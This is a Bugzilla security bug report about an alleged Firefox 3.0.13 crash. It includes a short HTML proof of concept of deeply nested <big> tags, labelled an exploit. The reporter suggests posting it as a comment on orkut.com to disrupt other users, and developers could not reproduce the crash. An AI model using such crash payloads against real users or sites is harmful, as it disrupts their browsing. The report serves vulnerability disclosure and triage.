Closed Bug 515114 Opened 16 years ago Closed 16 years ago

mozilla firefox crashes on big format.

Categories

(Firefox :: General, defect)

Product:
Firefox
Component:
General
Platform:
x86
Linux
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
VERIFIED INCOMPLETE

People

(Reporter: snakingmax, Unassigned)

Details

(Whiteboard: [sg:needinfo])

Attachments

(1 file)

This file is an exploit for mozilla 3.0.13
407 bytes, text/html
Details
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Build Identifier: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 *** This bug is a security vulnerability *** Private security bug reported: Binary package hint: firefox-3.0 mozilla firefox crashes on big format. Proof of concept.You can restart the desktop just run this code in firefox: ---------------------------------------start cut here----------------------------------------------- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Bug D.O.S. Firefox 3.0.13 - by SnakingMax</title> Author: David A.P. E-Mail:snakingmax@hotmail.com <big><big><big><big><big><big><big><big><big><big><big><big><big><big><big>Tu firefox está a punto de reiniciarse</big></big></big></big></big></big></big></big></big></big></big></big></big></big></big> </body> </html> -----------------------------------end cut here----------------------------------------------------- A cracker can also make a comment, for example (I tried it), www.orkut.com and ensure that nobody can see the other comments. It's just an idea. Regards, David A.P ProblemType: Bug Architecture: i386 DistroRelease: Ubuntu 9.04 NonfreeKernelModules: nvidia Package: firefox-3.0 3.0.13+nobinonly-0ubuntu0.9.04.1 ProcEnviron: LANGUAGE=es_ES:es:en_GB:en LANG=es_ES.UTF-8 SHELL=/bin/bash SourcePackage: firefox-3.0 Uname: Linux 2.6.28-15-generic i686 ** Affects: firefox-3.0 (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug i386 -- Reproducible: Always
I can't reproduce on either 3.0.13 or a trunk debug build. Reporter, do you have any add-ons installed that could be contributing to the crash? If you reported any of these crashes to Mozilla, could you paste the link to the crash report in this bug? You can find these links by entering about:crashes in your location bar.
This file is an exploit for mozilla 3.0.13
Attachment #399285 [details] is a link to the exploit. This can exploit your mozilla firefox 3.0.13
Are you using the build provided by Ubuntu, or a build downloaded from Mozilla? There are some slight differences and font-rendering might be one. Also could be your graphics driver I suppose, so we'd have to try on a matching set. Did the crash reporter dialog come up, and if so did you submit the crash to us? If you did then it should be listed at about:crashes and that link will be very helpful. If the crash reporter didn't come up you likely have the Ubuntu build and we're not going to get very far if we can't reproduce. If you _are_ using the distro build it would be worth trying in the Mozilla build. If we can rule in or out any changes made by Ubuntu that would be very helpful so we can focus on other things that might be different between your machine and ours.
Whiteboard: [sg:needinfo]
Are you using the build provided by Ubuntu.
Was that a question, David, or were you answering the question in comment 4? You are going to need to provide more information for us to do anything useful with this report. Please re-read comment 4 and try to answer those questions.
fwiw I did not crash using the Ubuntu build on Hardy Heron. Have not tried on Jaunty Jackalope (9.04) though, and there might be differences.
Group: core-security
Status: UNCONFIRMED → RESOLVED
Closed: 16 years ago
Resolution: --- → INCOMPLETE
Status: RESOLVED → VERIFIED
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: